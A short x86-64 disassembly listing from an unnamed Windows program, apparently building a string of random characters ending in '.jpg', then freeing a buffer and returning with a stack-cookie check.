lea rcx, [rsp + 0x20]
call fcn.140004218
movsxd rcx, eax
movzx r9d, word [rbp + rcx*2 + 0x12f0]
mov rcx, qword [rsp + 0x50]
cmp rcx, qword [rsp + 0x58]
jae 0x140008889
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rax, qword [rsp + 0x40]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x14000889b
mov r8b, sil
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.140002598
sub rbx, 1
jne 0x140008824
lea r8, str..jpg
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140001a48
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400088f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400088ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000891f
call fcn.14006b4a8
mov rax, rdi
mov rcx, qword [rbp + 0x1370]
xor rcx, rsp
call fcn.14006ba60
lea r11, [rsp + 0x1480]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14007bf34
int3